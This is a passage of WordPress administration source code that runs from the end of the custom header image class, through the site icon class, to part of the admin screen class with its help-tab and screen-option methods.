		$theme_height    = get_theme_support( 'custom-header', 'height' );
		$theme_width     = get_theme_support( 'custom-header', 'width' );
		$has_flex_width  = current_theme_supports( 'custom-header', 'flex-width' );
		$has_flex_height = current_theme_supports( 'custom-header', 'flex-height' );
		$has_max_width   = current_theme_supports( 'custom-header', 'max-width' );
		$dst             = array(
			'dst_height' => null,
			'dst_width'  => null,
		);

		// For flex, limit size of image displayed to 1500px unless theme says otherwise.
		if ( $has_flex_width ) {
			$max_width = 1500;
		}

		if ( $has_max_width ) {
			$max_width = max( $max_width, get_theme_support( 'custom-header', 'max-width' ) );
		}
		$max_width = max( $max_width, $theme_width );

		if ( $has_flex_height && ( ! $has_flex_width || $width > $max_width ) ) {
			$dst['dst_height'] = absint( $height * ( $max_width / $width ) );
		} elseif ( $has_flex_height && $has_flex_width ) {
			$dst['dst_height'] = $height;
		} else {
			$dst['dst_height'] = $theme_height;
		}

		if ( $has_flex_width && ( ! $has_flex_height || $width > $max_width ) ) {
			$dst['dst_width'] = absint( $width * ( $max_width / $width ) );
		} elseif ( $has_flex_width && $has_flex_height ) {
			$dst['dst_width'] = $width;
		} else {
			$dst['dst_width'] = $theme_width;
		}

		return $dst;
	}

	/**
	 * Creates an attachment 'object'.
	 *
	 * @since 3.9.0
	 * @deprecated 6.5.0
	 *
	 * @param string $cropped              Cropped image URL.
	 * @param int    $parent_attachment_id Attachment ID of parent image.
	 * @return array An array with attachment object data.
	 */
	final public function create_attachment_object( $cropped, $parent_attachment_id ) {
		_deprecated_function( __METHOD__, '6.5.0', 'wp_copy_parent_attachment_properties()' );
		$parent     = get_post( $parent_attachment_id );
		$parent_url = wp_get_attachment_url( $parent->ID );
		$url        = str_replace( wp_basename( $parent_url ), wp_basename( $cropped ), $parent_url );

		$size       = wp_getimagesize( $cropped );
		$image_type = ( $size ) ? $size['mime'] : 'image/jpeg';

		$attachment = array(
			'ID'             => $parent_attachment_id,
			'post_title'     => wp_basename( $cropped ),
			'post_mime_type' => $image_type,
			'guid'           => $url,
			'context'        => 'custom-header',
			'post_parent'    => $parent_attachment_id,
		);

		return $attachment;
	}

	/**
	 * Inserts an attachment and its metadata.
	 *
	 * @since 3.9.0
	 *
	 * @param array  $attachment An array with attachment object data.
	 * @param string $cropped    File path to cropped image.
	 * @return int Attachment ID.
	 */
	final public function insert_attachment( $attachment, $cropped ) {
		$parent_id = isset( $attachment['post_parent'] ) ? $attachment['post_parent'] : null;
		unset( $attachment['post_parent'] );

		$attachment_id = wp_insert_attachment( $attachment, $cropped );
		$metadata      = wp_generate_attachment_metadata( $attachment_id, $cropped );

		// If this is a crop, save the original attachment ID as metadata.
		if ( $parent_id ) {
			$metadata['attachment_parent'] = $parent_id;
		}

		/**
		 * Filters the header image attachment metadata.
		 *
		 * @since 3.9.0
		 *
		 * @see wp_generate_attachment_metadata()
		 *
		 * @param array $metadata Attachment metadata.
		 */
		$metadata = apply_filters( 'wp_header_image_attachment_metadata', $metadata );

		wp_update_attachment_metadata( $attachment_id, $metadata );

		return $attachment_id;
	}

	/**
	 * Gets attachment uploaded by Media Manager, crops it, then saves it as a
	 * new object. Returns JSON-encoded object details.
	 *
	 * @since 3.9.0
	 */
	public function ajax_header_crop() {
		check_ajax_referer( 'image_editor-' . $_POST['id'], 'nonce' );

		if ( ! current_user_can( 'edit_theme_options' ) ) {
			wp_send_json_error();
		}

		if ( ! current_theme_supports( 'custom-header', 'uploads' ) ) {
			wp_send_json_error();
		}

		$crop_details = $_POST['cropDetails'];

		$dimensions = $this->get_header_dimensions(
			array(
				'height' => $crop_details['height'],
				'width'  => $crop_details['width'],
			)
		);

		$attachment_id = absint( $_POST['id'] );

		$cropped = wp_crop_image(
			$attachment_id,
			(int) $crop_details['x1'],
			(int) $crop_details['y1'],
			(int) $crop_details['width'],
			(int) $crop_details['height'],
			(int) $dimensions['dst_width'],
			(int) $dimensions['dst_height']
		);

		if ( ! $cropped || is_wp_error( $cropped ) ) {
			wp_send_json_error( array( 'message' => __( 'Image could not be processed. Please go back and try again.' ) ) );
		}

		/** This filter is documented in wp-admin/includes/class-custom-image-header.php */
		$cropped = apply_filters( 'wp_create_file_in_uploads', $cropped, $attachment_id ); // For replication.

		$attachment = wp_copy_parent_attachment_properties( $cropped, $attachment_id, 'custom-header' );

		$previous = $this->get_previous_crop( $attachment );

		if ( $previous ) {
			$attachment['ID'] = $previous;
		} else {
			unset( $attachment['ID'] );
		}

		$new_attachment_id = $this->insert_attachment( $attachment, $cropped );

		$attachment['attachment_id'] = $new_attachment_id;
		$attachment['url']           = wp_get_attachment_url( $new_attachment_id );

		$attachment['width']  = $dimensions['dst_width'];
		$attachment['height'] = $dimensions['dst_height'];

		wp_send_json_success( $attachment );
	}

	/**
	 * Given an attachment ID for a header image, updates its "last used"
	 * timestamp to now.
	 *
	 * Triggered when the user tries adds a new header image from the
	 * Media Manager, even if s/he doesn't save that change.
	 *
	 * @since 3.9.0
	 */
	public function ajax_header_add() {
		check_ajax_referer( 'header-add', 'nonce' );

		if ( ! current_user_can( 'edit_theme_options' ) ) {
			wp_send_json_error();
		}

		$attachment_id = absint( $_POST['attachment_id'] );
		if ( $attachment_id < 1 ) {
			wp_send_json_error();
		}

		$key = '_wp_attachment_custom_header_last_used_' . get_stylesheet();
		update_post_meta( $attachment_id, $key, time() );
		update_post_meta( $attachment_id, '_wp_attachment_is_custom_header', get_stylesheet() );

		wp_send_json_success();
	}

	/**
	 * Given an attachment ID for a header image, unsets it as a user-uploaded
	 * header image for the active theme.
	 *
	 * Triggered when the user clicks the overlay "X" button next to each image
	 * choice in the Customizer's Header tool.
	 *
	 * @since 3.9.0
	 */
	public function ajax_header_remove() {
		check_ajax_referer( 'header-remove', 'nonce' );

		if ( ! current_user_can( 'edit_theme_options' ) ) {
			wp_send_json_error();
		}

		$attachment_id = absint( $_POST['attachment_id'] );
		if ( $attachment_id < 1 ) {
			wp_send_json_error();
		}

		$key = '_wp_attachment_custom_header_last_used_' . get_stylesheet();
		delete_post_meta( $attachment_id, $key );
		delete_post_meta( $attachment_id, '_wp_attachment_is_custom_header', get_stylesheet() );

		wp_send_json_success();
	}

	/**
	 * Updates the last-used postmeta on a header image attachment after saving a new header image via the Customizer.
	 *
	 * @since 3.9.0
	 *
	 * @param WP_Customize_Manager $wp_customize Customize manager.
	 */
	public function customize_set_last_used( $wp_customize ) {

		$header_image_data_setting = $wp_customize->get_setting( 'header_image_data' );

		if ( ! $header_image_data_setting ) {
			return;
		}

		$data = $header_image_data_setting->post_value();

		if ( ! isset( $data['attachment_id'] ) ) {
			return;
		}

		$attachment_id = $data['attachment_id'];
		$key           = '_wp_attachment_custom_header_last_used_' . get_stylesheet();
		update_post_meta( $attachment_id, $key, time() );
	}

	/**
	 * Gets the details of default header images if defined.
	 *
	 * @since 3.9.0
	 *
	 * @return array Default header images.
	 */
	public function get_default_header_images() {
		$this->process_default_headers();

		// Get the default image if there is one.
		$default = get_theme_support( 'custom-header', 'default-image' );

		if ( ! $default ) { // If not, easy peasy.
			return $this->default_headers;
		}

		$default = sprintf( $default, get_template_directory_uri(), get_stylesheet_directory_uri() );

		$already_has_default = false;

		foreach ( $this->default_headers as $k => $h ) {
			if ( $h['url'] === $default ) {
				$already_has_default = true;
				break;
			}
		}

		if ( $already_has_default ) {
			return $this->default_headers;
		}

		// If the one true image isn't included in the default set, prepend it.
		$header_images            = array();
		$header_images['default'] = array(
			'url'           => $default,
			'thumbnail_url' => $default,
			'description'   => 'Default',
		);

		// The rest of the set comes after.
		return array_merge( $header_images, $this->default_headers );
	}

	/**
	 * Gets the previously uploaded header images.
	 *
	 * @since 3.9.0
	 *
	 * @return array Uploaded header images.
	 */
	public function get_uploaded_header_images() {
		$header_images = get_uploaded_header_images();
		$timestamp_key = '_wp_attachment_custom_header_last_used_' . get_stylesheet();
		$alt_text_key  = '_wp_attachment_image_alt';

		foreach ( $header_images as &$header_image ) {
			$header_meta               = get_post_meta( $header_image['attachment_id'] );
			$header_image['timestamp'] = isset( $header_meta[ $timestamp_key ] ) ? $header_meta[ $timestamp_key ] : '';
			$header_image['alt_text']  = isset( $header_meta[ $alt_text_key ] ) ? $header_meta[ $alt_text_key ] : '';
		}

		return $header_images;
	}

	/**
	 * Gets the ID of a previous crop from the same base image.
	 *
	 * @since 4.9.0
	 *
	 * @param array $attachment An array with a cropped attachment object data.
	 * @return int|false An attachment ID if one exists. False if none.
	 */
	public function get_previous_crop( $attachment ) {
		$header_images = $this->get_uploaded_header_images();

		// Bail early if there are no header images.
		if ( empty( $header_images ) ) {
			return false;
		}

		$previous = false;

		foreach ( $header_images as $image ) {
			if ( $image['attachment_parent'] === $attachment['post_parent'] ) {
				$previous = $image['attachment_id'];
				break;
			}
		}

		return $previous;
	}
}
<?php
/**
 * Administration API: WP_Site_Icon class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 4.3.0
 */

/**
 * Core class used to implement site icon functionality.
 *
 * @since 4.3.0
 */
#[AllowDynamicProperties]
class WP_Site_Icon {

	/**
	 * The minimum size of the site icon.
	 *
	 * @since 4.3.0
	 * @var int
	 */
	public $min_size = 512;

	/**
	 * The size to which to crop the image so that we can display it in the UI nicely.
	 *
	 * @since 4.3.0
	 * @var int
	 */
	public $page_crop = 512;

	/**
	 * List of site icon sizes.
	 *
	 * @since 4.3.0
	 * @var int[]
	 */
	public $site_icon_sizes = array(
		/*
		 * Square, medium sized tiles for IE11+.
		 *
		 * See https://msdn.microsoft.com/library/dn455106(v=vs.85).aspx
		 */
		270,

		/*
		 * App icon for Android/Chrome.
		 *
		 * @link https://developers.google.com/web/updates/2014/11/Support-for-theme-color-in-Chrome-39-for-Android
		 * @link https://developer.chrome.com/multidevice/android/installtohomescreen
		 */
		192,

		/*
		 * App icons up to iPhone 6 Plus.
		 *
		 * See https://developer.apple.com/library/prerelease/ios/documentation/UserExperience/Conceptual/MobileHIG/IconMatrix.html
		 */
		180,

		// Our regular Favicon.
		32,
	);

	/**
	 * Registers actions and filters.
	 *
	 * @since 4.3.0
	 */
	public function __construct() {
		add_action( 'delete_attachment', array( $this, 'delete_attachment_data' ) );
		add_filter( 'get_post_metadata', array( $this, 'get_post_metadata' ), 10, 4 );
	}

	/**
	 * Creates an attachment 'object'.
	 *
	 * @since 4.3.0
	 * @deprecated 6.5.0
	 *
	 * @param string $cropped              Cropped image URL.
	 * @param int    $parent_attachment_id Attachment ID of parent image.
	 * @return array An array with attachment object data.
	 */
	public function create_attachment_object( $cropped, $parent_attachment_id ) {
		_deprecated_function( __METHOD__, '6.5.0', 'wp_copy_parent_attachment_properties()' );

		$parent     = get_post( $parent_attachment_id );
		$parent_url = wp_get_attachment_url( $parent->ID );
		$url        = str_replace( wp_basename( $parent_url ), wp_basename( $cropped ), $parent_url );

		$size       = wp_getimagesize( $cropped );
		$image_type = ( $size ) ? $size['mime'] : 'image/jpeg';

		$attachment = array(
			'ID'             => $parent_attachment_id,
			'post_title'     => wp_basename( $cropped ),
			'post_content'   => $url,
			'post_mime_type' => $image_type,
			'guid'           => $url,
			'context'        => 'site-icon',
		);

		return $attachment;
	}

	/**
	 * Inserts an attachment.
	 *
	 * @since 4.3.0
	 *
	 * @param array  $attachment An array with attachment object data.
	 * @param string $file       File path of the attached image.
	 * @return int               Attachment ID.
	 */
	public function insert_attachment( $attachment, $file ) {
		$attachment_id = wp_insert_attachment( $attachment, $file );
		$metadata      = wp_generate_attachment_metadata( $attachment_id, $file );

		/**
		 * Filters the site icon attachment metadata.
		 *
		 * @since 4.3.0
		 *
		 * @see wp_generate_attachment_metadata()
		 *
		 * @param array $metadata Attachment metadata.
		 */
		$metadata = apply_filters( 'site_icon_attachment_metadata', $metadata );
		wp_update_attachment_metadata( $attachment_id, $metadata );

		return $attachment_id;
	}

	/**
	 * Adds additional sizes to be made when creating the site icon images.
	 *
	 * @since 4.3.0
	 *
	 * @param array[] $sizes Array of arrays containing information for additional sizes.
	 * @return array[] Array of arrays containing additional image sizes.
	 */
	public function additional_sizes( $sizes = array() ) {
		$only_crop_sizes = array();

		/**
		 * Filters the different dimensions that a site icon is saved in.
		 *
		 * @since 4.3.0
		 *
		 * @param int[] $site_icon_sizes Array of sizes available for the Site Icon.
		 */
		$this->site_icon_sizes = apply_filters( 'site_icon_image_sizes', $this->site_icon_sizes );

		// Use a natural sort of numbers.
		natsort( $this->site_icon_sizes );
		$this->site_icon_sizes = array_reverse( $this->site_icon_sizes );

		// Ensure that we only resize the image into sizes that allow cropping.
		foreach ( $sizes as $name => $size_array ) {
			if ( isset( $size_array['crop'] ) ) {
				$only_crop_sizes[ $name ] = $size_array;
			}
		}

		foreach ( $this->site_icon_sizes as $size ) {
			if ( $size < $this->min_size ) {
				$only_crop_sizes[ 'site_icon-' . $size ] = array(
					'width ' => $size,
					'height' => $size,
					'crop'   => true,
				);
			}
		}

		return $only_crop_sizes;
	}

	/**
	 * Adds Site Icon sizes to the array of image sizes on demand.
	 *
	 * @since 4.3.0
	 *
	 * @param string[] $sizes Array of image size names.
	 * @return string[] Array of image size names.
	 */
	public function intermediate_image_sizes( $sizes = array() ) {
		/** This filter is documented in wp-admin/includes/class-wp-site-icon.php */
		$this->site_icon_sizes = apply_filters( 'site_icon_image_sizes', $this->site_icon_sizes );
		foreach ( $this->site_icon_sizes as $size ) {
			$sizes[] = 'site_icon-' . $size;
		}

		return $sizes;
	}

	/**
	 * Deletes the Site Icon when the image file is deleted.
	 *
	 * @since 4.3.0
	 *
	 * @param int $post_id Attachment ID.
	 */
	public function delete_attachment_data( $post_id ) {
		$site_icon_id = (int) get_option( 'site_icon' );

		if ( $site_icon_id && $post_id === $site_icon_id ) {
			delete_option( 'site_icon' );
		}
	}

	/**
	 * Adds custom image sizes when meta data for an image is requested, that happens to be used as Site Icon.
	 *
	 * @since 4.3.0
	 *
	 * @param null|array|string $value    The value get_metadata() should return a single metadata value, or an
	 *                                    array of values.
	 * @param int               $post_id  Post ID.
	 * @param string            $meta_key Meta key.
	 * @param bool              $single   Whether to return only the first value of the specified `$meta_key`.
	 * @return array|null|string The attachment metadata value, array of values, or null.
	 */
	public function get_post_metadata( $value, $post_id, $meta_key, $single ) {
		if ( $single && '_wp_attachment_backup_sizes' === $meta_key ) {
			$site_icon_id = (int) get_option( 'site_icon' );

			if ( $post_id === $site_icon_id ) {
				add_filter( 'intermediate_image_sizes', array( $this, 'intermediate_image_sizes' ) );
			}
		}

		return $value;
	}
}
<?php
/**
 * Screen API: WP_Screen class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 4.4.0
 */

/**
 * Core class used to implement an admin screen API.
 *
 * @since 3.3.0
 */
#[AllowDynamicProperties]
final class WP_Screen {
	/**
	 * Any action associated with the screen.
	 *
	 * 'add' for *-add.php and *-new.php screens. Empty otherwise.
	 *
	 * @since 3.3.0
	 * @var string
	 */
	public $action;

	/**
	 * The base type of the screen.
	 *
	 * This is typically the same as `$id` but with any post types and taxonomies stripped.
	 * For example, for an `$id` of 'edit-post' the base is 'edit'.
	 *
	 * @since 3.3.0
	 * @var string
	 */
	public $base;

	/**
	 * The number of columns to display. Access with get_columns().
	 *
	 * @since 3.4.0
	 * @var int
	 */
	private $columns = 0;

	/**
	 * The unique ID of the screen.
	 *
	 * @since 3.3.0
	 * @var string
	 */
	public $id;

	/**
	 * Which admin the screen is in. network | user | site | false
	 *
	 * @since 3.5.0
	 * @var string
	 */
	protected $in_admin;

	/**
	 * Whether the screen is in the network admin.
	 *
	 * Deprecated. Use in_admin() instead.
	 *
	 * @since 3.3.0
	 * @deprecated 3.5.0
	 * @var bool
	 */
	public $is_network;

	/**
	 * Whether the screen is in the user admin.
	 *
	 * Deprecated. Use in_admin() instead.
	 *
	 * @since 3.3.0
	 * @deprecated 3.5.0
	 * @var bool
	 */
	public $is_user;

	/**
	 * The base menu parent.
	 *
	 * This is derived from `$parent_file` by removing the query string and any .php extension.
	 * `$parent_file` values of 'edit.php?post_type=page' and 'edit.php?post_type=post'
	 * have a `$parent_base` of 'edit'.
	 *
	 * @since 3.3.0
	 * @var string|null
	 */
	public $parent_base;

	/**
	 * The parent_file for the screen per the admin menu system.
	 *
	 * Some `$parent_file` values are 'edit.php?post_type=page', 'edit.php', and 'options-general.php'.
	 *
	 * @since 3.3.0
	 * @var string|null
	 */
	public $parent_file;

	/**
	 * The post type associated with the screen, if any.
	 *
	 * The 'edit.php?post_type=page' screen has a post type of 'page'.
	 * The 'edit-tags.php?taxonomy=$taxonomy&post_type=page' screen has a post type of 'page'.
	 *
	 * @since 3.3.0
	 * @var string
	 */
	public $post_type;

	/**
	 * The taxonomy associated with the screen, if any.
	 *
	 * The 'edit-tags.php?taxonomy=category' screen has a taxonomy of 'category'.
	 *
	 * @since 3.3.0
	 * @var string
	 */
	public $taxonomy;

	/**
	 * The help tab data associated with the screen, if any.
	 *
	 * @since 3.3.0
	 * @var array
	 */
	private $_help_tabs = array();

	/**
	 * The help sidebar data associated with screen, if any.
	 *
	 * @since 3.3.0
	 * @var string
	 */
	private $_help_sidebar = '';

	/**
	 * The accessible hidden headings and text associated with the screen, if any.
	 *
	 * @since 4.4.0
	 * @var string[]
	 */
	private $_screen_reader_content = array();

	/**
	 * Stores old string-based help.
	 *
	 * @var array
	 */
	private static $_old_compat_help = array();

	/**
	 * The screen options associated with screen, if any.
	 *
	 * @since 3.3.0
	 * @var array
	 */
	private $_options = array();

	/**
	 * The screen object registry.
	 *
	 * @since 3.3.0
	 *
	 * @var array
	 */
	private static $_registry = array();

	/**
	 * Stores the result of the public show_screen_options function.
	 *
	 * @since 3.3.0
	 * @var bool
	 */
	private $_show_screen_options;

	/**
	 * Stores the 'screen_settings' section of screen options.
	 *
	 * @since 3.3.0
	 * @var string
	 */
	private $_screen_settings;

	/**
	 * Whether the screen is using the block editor.
	 *
	 * @since 5.0.0
	 * @var bool
	 */
	public $is_block_editor = false;

	/**
	 * Fetches a screen object.
	 *
	 * @since 3.3.0
	 *
	 * @global string $hook_suffix
	 *
	 * @param string|WP_Screen $hook_name Optional. The hook name (also known as the hook suffix) used to determine the screen.
	 *                                    Defaults to the current $hook_suffix global.
	 * @return WP_Screen Screen object.
	 */
	public static function get( $hook_name = '' ) {
		if ( $hook_name instanceof WP_Screen ) {
			return $hook_name;
		}

		$id              = '';
		$post_type       = null;
		$taxonomy        = null;
		$in_admin        = false;
		$action          = '';
		$is_block_editor = false;

		if ( $hook_name ) {
			$id = $hook_name;
		} elseif ( ! empty( $GLOBALS['hook_suffix'] ) ) {
			$id = $GLOBALS['hook_suffix'];
		}

		// For those pesky meta boxes.
		if ( $hook_name && post_type_exists( $hook_name ) ) {
			$post_type = $id;
			$id        = 'post'; // Changes later. Ends up being $base.
		} else {
			if ( str_ends_with( $id, '.php' ) ) {
				$id = substr( $id, 0, -4 );
			}

			if ( in_array( $id, array( 'post-new', 'link-add', 'media-new', 'user-new' ), true ) ) {
				$id     = substr( $id, 0, -4 );
				$action = 'add';
			}
		}

		if ( ! $post_type && $hook_name ) {
			if ( str_ends_with( $id, '-network' ) ) {
				$id       = substr( $id, 0, -8 );
				$in_admin = 'network';
			} elseif ( str_ends_with( $id, '-user' ) ) {
				$id       = substr( $id, 0, -5 );
				$in_admin = 'user';
			}

			$id = sanitize_key( $id );
			if ( 'edit-comments' !== $id && 'edit-tags' !== $id && str_starts_with( $id, 'edit-' ) ) {
				$maybe = substr( $id, 5 );
				if ( taxonomy_exists( $maybe ) ) {
					$id       = 'edit-tags';
					$taxonomy = $maybe;
				} elseif ( post_type_exists( $maybe ) ) {
					$id        = 'edit';
					$post_type = $maybe;
				}
			}

			if ( ! $in_admin ) {
				$in_admin = 'site';
			}
		} else {
			if ( defined( 'WP_NETWORK_ADMIN' ) && WP_NETWORK_ADMIN ) {
				$in_admin = 'network';
			} elseif ( defined( 'WP_USER_ADMIN' ) && WP_USER_ADMIN ) {
				$in_admin = 'user';
			} else {
				$in_admin = 'site';
			}
		}

		if ( 'index' === $id ) {
			$id = 'dashboard';
		} elseif ( 'front' === $id ) {
			$in_admin = false;
		}

		$base = $id;

		// If this is the current screen, see if we can be more accurate for post types and taxonomies.
		if ( ! $hook_name ) {
			if ( isset( $_REQUEST['post_type'] ) ) {
				$post_type = post_type_exists( $_REQUEST['post_type'] ) ? $_REQUEST['post_type'] : false;
			}
			if ( isset( $_REQUEST['taxonomy'] ) ) {
				$taxonomy = taxonomy_exists( $_REQUEST['taxonomy'] ) ? $_REQUEST['taxonomy'] : false;
			}

			switch ( $base ) {
				case 'post':
					if ( isset( $_GET['post'] ) && isset( $_POST['post_ID'] ) && (int) $_GET['post'] !== (int) $_POST['post_ID'] ) {
						wp_die( __( 'A post ID mismatch has been detected.' ), __( 'Sorry, you are not allowed to edit this item.' ), 400 );
					} elseif ( isset( $_GET['post'] ) ) {
						$post_id = (int) $_GET['post'];
					} elseif ( isset( $_POST['post_ID'] ) ) {
						$post_id = (int) $_POST['post_ID'];
					} else {
						$post_id = 0;
					}

					if ( $post_id ) {
						$post = get_post( $post_id );
						if ( $post ) {
							$post_type = $post->post_type;

							/** This filter is documented in wp-admin/post.php */
							$replace_editor = apply_filters( 'replace_editor', false, $post );

							if ( ! $replace_editor ) {
								$is_block_editor = use_block_editor_for_post( $post );
							}
						}
					}
					break;
				case 'edit-tags':
				case 'term':
					if ( null === $post_type && is_object_in_taxonomy( 'post', $taxonomy ? $taxonomy : 'post_tag' ) ) {
						$post_type = 'post';
					}
					break;
				case 'upload':
					$post_type = 'attachment';
					break;
			}
		}

		switch ( $base ) {
			case 'post':
				if ( null === $post_type ) {
					$post_type = 'post';
				}

				// When creating a new post, use the default block editor support value for the post type.
				if ( empty( $post_id ) ) {
					$is_block_editor = use_block_editor_for_post_type( $post_type );
				}

				$id = $post_type;
				break;
			case 'edit':
				if ( null === $post_type ) {
					$post_type = 'post';
				}
				$id .= '-' . $post_type;
				break;
			case 'edit-tags':
			case 'term':
				if ( null === $taxonomy ) {
					$taxonomy = 'post_tag';
				}
				// The edit-tags ID does not contain the post type. Look for it in the request.
				if ( null === $post_type ) {
					$post_type = 'post';
					if ( isset( $_REQUEST['post_type'] ) && post_type_exists( $_REQUEST['post_type'] ) ) {
						$post_type = $_REQUEST['post_type'];
					}
				}

				$id = 'edit-' . $taxonomy;
				break;
		}

		if ( 'network' === $in_admin ) {
			$id   .= '-network';
			$base .= '-network';
		} elseif ( 'user' === $in_admin ) {
			$id   .= '-user';
			$base .= '-user';
		}

		if ( isset( self::$_registry[ $id ] ) ) {
			$screen = self::$_registry[ $id ];
			if ( get_current_screen() === $screen ) {
				return $screen;
			}
		} else {
			$screen     = new self();
			$screen->id = $id;
		}

		$screen->base            = $base;
		$screen->action          = $action;
		$screen->post_type       = (string) $post_type;
		$screen->taxonomy        = (string) $taxonomy;
		$screen->is_user         = ( 'user' === $in_admin );
		$screen->is_network      = ( 'network' === $in_admin );
		$screen->in_admin        = $in_admin;
		$screen->is_block_editor = $is_block_editor;

		self::$_registry[ $id ] = $screen;

		return $screen;
	}

	/**
	 * Makes the screen object the current screen.
	 *
	 * @see set_current_screen()
	 * @since 3.3.0
	 *
	 * @global WP_Screen $current_screen WordPress current screen object.
	 * @global string    $typenow        The post type of the current screen.
	 * @global string    $taxnow         The taxonomy of the current screen.
	 */
	public function set_current_screen() {
		global $current_screen, $taxnow, $typenow;

		$current_screen = $this;
		$typenow        = $this->post_type;
		$taxnow         = $this->taxonomy;

		/**
		 * Fires after the current screen has been set.
		 *
		 * @since 3.0.0
		 *
		 * @param WP_Screen $current_screen Current WP_Screen object.
		 */
		do_action( 'current_screen', $current_screen );
	}

	/**
	 * Constructor
	 *
	 * @since 3.3.0
	 */
	private function __construct() {}

	/**
	 * Indicates whether the screen is in a particular admin.
	 *
	 * @since 3.5.0
	 *
	 * @param string $admin The admin to check against (network | user | site).
	 *                      If empty any of the three admins will result in true.
	 * @return bool True if the screen is in the indicated admin, false otherwise.
	 */
	public function in_admin( $admin = null ) {
		if ( empty( $admin ) ) {
			return (bool) $this->in_admin;
		}

		return ( $admin === $this->in_admin );
	}

	/**
	 * Sets or returns whether the block editor is loading on the current screen.
	 *
	 * @since 5.0.0
	 *
	 * @param bool $set Optional. Sets whether the block editor is loading on the current screen or not.
	 * @return bool True if the block editor is being loaded, false otherwise.
	 */
	public function is_block_editor( $set = null ) {
		if ( null !== $set ) {
			$this->is_block_editor = (bool) $set;
		}

		return $this->is_block_editor;
	}

	/**
	 * Sets the old string-based contextual help for the screen for backward compatibility.
	 *
	 * @since 3.3.0
	 *
	 * @param WP_Screen $screen A screen object.
	 * @param string    $help   Help text.
	 */
	public static function add_old_compat_help( $screen, $help ) {
		self::$_old_compat_help[ $screen->id ] = $help;
	}

	/**
	 * Sets the parent information for the screen.
	 *
	 * This is called in admin-header.php after the menu parent for the screen has been determined.
	 *
	 * @since 3.3.0
	 *
	 * @param string $parent_file The parent file of the screen. Typically the $parent_file global.
	 */
	public function set_parentage( $parent_file ) {
		$this->parent_file         = $parent_file;
		list( $this->parent_base ) = explode( '?', $parent_file );
		$this->parent_base         = str_replace( '.php', '', $this->parent_base );
	}

	/**
	 * Adds an option for the screen.
	 *
	 * Call this in template files after admin.php is loaded and before admin-header.php is loaded
	 * to add screen options.
	 *
	 * @since 3.3.0
	 *
	 * @param string $option Option ID.
	 * @param mixed  $args   Option-dependent arguments.
	 */
	public function add_option( $option, $args = array() ) {
		$this->_options[ $option ] = $args;
	}

	/**
	 * Removes an option from the screen.
	 *
	 * @since 3.8.0
	 *
	 * @param string $option Option ID.
	 */
	public function remove_option( $option ) {
		unset( $this->_options[ $option ] );
	}

	/**
	 * Removes all options from the screen.
	 *
	 * @since 3.8.0
	 */
	public function remove_options() {
		$this->_options = array();
	}

	/**
	 * Gets the options registered for the screen.
	 *
	 * @since 3.8.0
	 *
	 * @return array Options with arguments.
	 */
	public function get_options() {
		return $this->_options;
	}

	/**
	 * Gets the arguments for an option for the screen.
	 *
	 * @since 3.3.0
	 *
	 * @param string       $option Option name.
	 * @param string|false $key    Optional. Specific array key for when the option is an array.
	 *                             Default false.
	 * @return string The option value if set, null otherwise.
	 */
	public function get_option( $option, $key = false ) {
		if ( ! isset( $this->_options[ $option ] ) ) {
			return null;
		}
		if ( $key ) {
			if ( isset( $this->_options[ $option ][ $key ] ) ) {
				return $this->_options[ $option ][ $key ];
			}
			return null;
		}
		return $this->_options[ $option ];
	}

	/**
	 * Gets the help tabs registered for the screen.
	 *
	 * @since 3.4.0
	 * @since 4.4.0 Help tabs are ordered by their priority.
	 *
	 * @return array Help tabs with arguments.
	 */
	public function get_help_tabs() {
		$help_tabs = $this->_help_tabs;

		$priorities = array();
		foreach ( $help_tabs as $help_tab ) {
			if ( isset( $priorities[ $help_tab['priority'] ] ) ) {
				$priorities[ $help_tab['priority'] ][] = $help_tab;
			} else {
				$priorities[ $help_tab['priority'] ] = array( $help_tab );
			}
		}

		ksort( $priorities );

		$sorted = array();
		foreach ( $priorities as $list ) {
			foreach ( $list as $tab ) {
				$sorted[ $tab['id'] ] = $tab;
			}
		}

		return $sorted;
	}

	/**
	 * Gets the arguments for a help tab.
	 *
	 * @since 3.4.0
	 *
	 * @param string $id Help Tab ID.
	 * @return array Help tab arguments.
	 */
	public function get_help_tab( $id ) {
		if ( ! isset( $this->_help_tabs[ $id ] ) ) {
			return null;
		}
		return $this->_help_tabs[ $id ];
	}

	/**
	 * Adds a help tab to the contextual help for the screen.
	 *
	 * Call this on the `load-$pagenow` hook for the relevant screen,
	 * or fetch the `$current_screen` object, or use get_current_screen()
	 * and then call the method from the object.
	 *
	 * You may need to filter `$current_screen` using an if or switch statement
	 * to prevent new help tabs from being added to ALL admin screens.
	 *
	 * @since 3.3.0
	 * @since 4.4.0 The `$priority` argument was added.
	 *
	 * @param array $args {
	 *     Array of arguments used to display the help tab.
	 *
	 *     @type string   $title    Title for the tab. Default false.
	 *     @type string   $id       Tab ID. Must be HTML-safe and should be unique for this menu.
	 *                              It is NOT allowed to contain any empty spaces. Default false.
	 *     @type string   $content  Optional. Help tab content in plain text or HTML. Default empty string.
	 *     @type callable $callback Optional. A callback to generate the tab content. Default false.
	 *     @type int      $priority Optional. The priority of the tab, used for ordering. Default 10.
	 * }
	 */
	public function add_help_tab( $args ) {
		$defaults = array(
			'title'    => false,
			'id'       => false,
			'content'  => '',
			'callback' => false,
			'priority' => 10,
		);
		$args     = wp_parse_args( $args, $defaults );

		$args['id'] = sanitize_html_class( $args['id'] );

		// Ensure we have an ID and title.
		if ( ! $args['id'] || ! $args['title'] ) {
			return;
		}

		// Allows for overriding an existing tab with that ID.
		$this->_help_tabs[ $args['id'] ] = $args;
	}

	/**
	 * Removes a help tab from the contextual help for the screen.
	 *
	 * @since 3.3.0
	 *
	 * @param string $id The help tab ID.
	 */
	public function remove_help_tab( $id ) {
		unset( $this->_help_tabs[ $id ] );
	}

	/**
	 * Removes all help tabs from the contextual help for the screen.
	 *
	 * @since 3.3.0
	 */
	public function remove_help_tabs() {
		$this->_help_tabs = array();
	}

	/**
	 * Gets the content from a contextual help sidebar.
	 *
	 * @since 3.4.0
	 *
	 * @return string Contents of the help sidebar.
	 */
	public function get_help_sidebar() {
		return $this->_help_sidebar;
	}

	/**
	 * Adds a sidebar to the contextual help for the screen.
	 *
	 * Call this in template files after admin.php is loaded and before admin-header.php is loaded
	 * to add a sidebar to the contextual help.
	 *
	 * @since 3.3.0
	 *
	 * @param string $content Sidebar content in plain text or HTML.
	 */
	public function set_help_sidebar( $content ) {
		$this->_help_sidebar = $content;
	}

	/**
	 * Gets the number of layout columns the user has selected.
	 *
	 * The layout_columns option controls the max number and default number of
	 * columns. This method returns the number of columns within that range selected
